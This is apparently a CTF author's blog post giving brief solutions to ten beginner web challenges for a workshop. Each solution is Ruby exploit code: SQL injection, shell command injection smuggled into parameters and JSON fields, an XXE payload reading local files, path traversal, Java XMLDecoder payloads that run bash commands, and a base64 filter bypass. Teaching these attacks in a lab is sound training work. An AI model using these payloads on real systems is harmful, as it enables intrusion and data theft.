I wrote a wholllle pile of 101 web challenges this year, which are ultimately going to be adapted for a workshop I’m giving at NorthSec in Montreal next month.
I’m not going to spend a ton of time on them, I’ll just give the solutions quickly.
As usual, you can find the code and complete solutions on our GitHub repo!
And, if these are particularly interesting to you, come see me in Montreal!
hidden-reports
(sqli login)
Hidden-reports is classic SQL injection in a login form ' or '1'='1
:
result = HTTParty.post(get_url(), body: { 'passphrase' => "test' or '1'='1" })
detector
(shell injection)
detector
is shell command injection:
result = HTTParty.get("#{ get_url() }/detect-dragon.php?ip=1.2.3.4; cat /app/dragon-detector-ai;")
detector-2
(shell injection)
detector-2
is a slightly different flavour of shell command injection:
result = HTTParty.get("#{ get_url() }/detect-dragon.php?ip=1.2.3.4$(cat /app/dragon-detector-ai)")
evidence
(XXE)
evidence
is XML eXternal Entities - XXE:
XXE = <<~XXE
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [
<!ENTITY xxe SYSTEM "file:///flag.txt">
]>
<dragons>
<dragon>
<name>Smaug</name>
<proof>&xxe;</proof>
</dragon>
</dragons>
XXE
EXPLOIT_FILE = File.join(__dir__, 'payload.xml')
File.write(EXPLOIT_FILE, XXE)
result = HTTParty.post(
get_url(),
body: {
dragon_file: File.open(EXPLOIT_FILE, 'r')
},
headers: {
'Content-Type' => 'multipart/form-data'
}
)
pathing
(path traversal)
pathing
is directory traversal in the URL (if you’re using curl
, you’ll need --path-as-is
, and other tools and browsers get confused):
PATH = "#{get_url()}/../../../../../../flag.txt"
puts "Requesting #{ PATH }..."
out = ::HTTParty.get(PATH)
sighting
(path traversal)
sighting
is another flavour of directory traversal, this time in an argument:
PATH = "#{get_url()}picture.php?file=../../../../../../flag.txt"
puts "Requesting #{ PATH }..."
out = ::HTTParty.get(PATH)
taxonomy
(search SQLi)
taxonomy
is classic SQL injection in a WHERE
string - essentially ' or 1=1)--
:
result = HTTParty.get("#{ get_url() }/?search=Nano%27%20OR%201=1)%20--")
dating
(XMLDecoder)
dating
is insecure XMLDecoder
usage - you can basically copy/paste reverse shell code.
My solution is a bit complicated because I want to be able to do it without a reverse shell:
TEMP = UUID.generate.to_s
COPY = <<~COPY
<?xml version="1.0" encoding="UTF-8"?>
<java version="1.8.0_102" class="java.beans.XMLDecoder">
<object class="java.lang.Runtime" method="getRuntime">
<void method="exec">
<array class="java.lang.String" length="3">
<void index="0">
<string>/bin/bash</string>
</void>
<void index="1">
<string>-c</string>
</void>
<void index="2">
<string>cp /flag.txt /usr/local/tomcat/webapps/ROOT/#{ TEMP }.txt</string>
</void>
</array>
</void>
</object>
</java>
COPY
DELETE = <<~DELETE
<?xml version="1.0" encoding="UTF-8"?>
<java version="1.8.0_102" class="java.beans.XMLDecoder">
<object class="java.lang.Runtime" method="getRuntime">
<void method="exec">
<array class="java.lang.String" length="3">
<void index="0">
<string>/bin/bash</string>
</void>
<void index="1">
<string>-c</string>
</void>
<void index="2">
<string>rm -f /usr/local/tomcat/webapps/ROOT/#{ TEMP }.txt</string>
</void>
</array>
</void>
</object>
</java>
DELETE
# Move the file
HTTParty.post("#{ get_url() }/ProfileServlet", body: COPY)
# Get the file
result = HTTParty.get("#{ get_url() }/#{ TEMP }.txt")
# Delete the file
HTTParty.post("#{ get_url() }/ProfileServlet", body: DELETE)
hoard
(shell injection)
hoard
is another shell command injection issue, this time in a JSON payload:
BODY = {
'hoardType' => 'artifact',
'gold' => '123',
'gems' => '123',
'artifacts' => "123';cat /flag.txt;echo '",
}.to_json
result = HTTParty.post("#{ get_url() }/backend.php", body: BODY)
extinction
(ambiguous base64)
And finally, extinction
is a challenge based on ambiguous base64 - depending on the length of the string, the last bit or two can be changed without changing the value it decodes to (this is based on my poor attempt to write Suricata rules at work):
result = HTTParty.post("#{ get_url() }/index.php?encoded_creds=#{ Base64.strict_encode64('admin:admin') }")
if result.include?('CTF') || !result.include?('AHA')
puts "Something went wrong: the 'bad' request wasn't correctly handled!"
exit(1)
end
result = HTTParty.post("#{ get_url() }/index.php?encoded_creds=YWRtaW46YWRtaW5=")
Comments
Join the conversation on this Mastodon post (replies will appear below)!
Loading comments...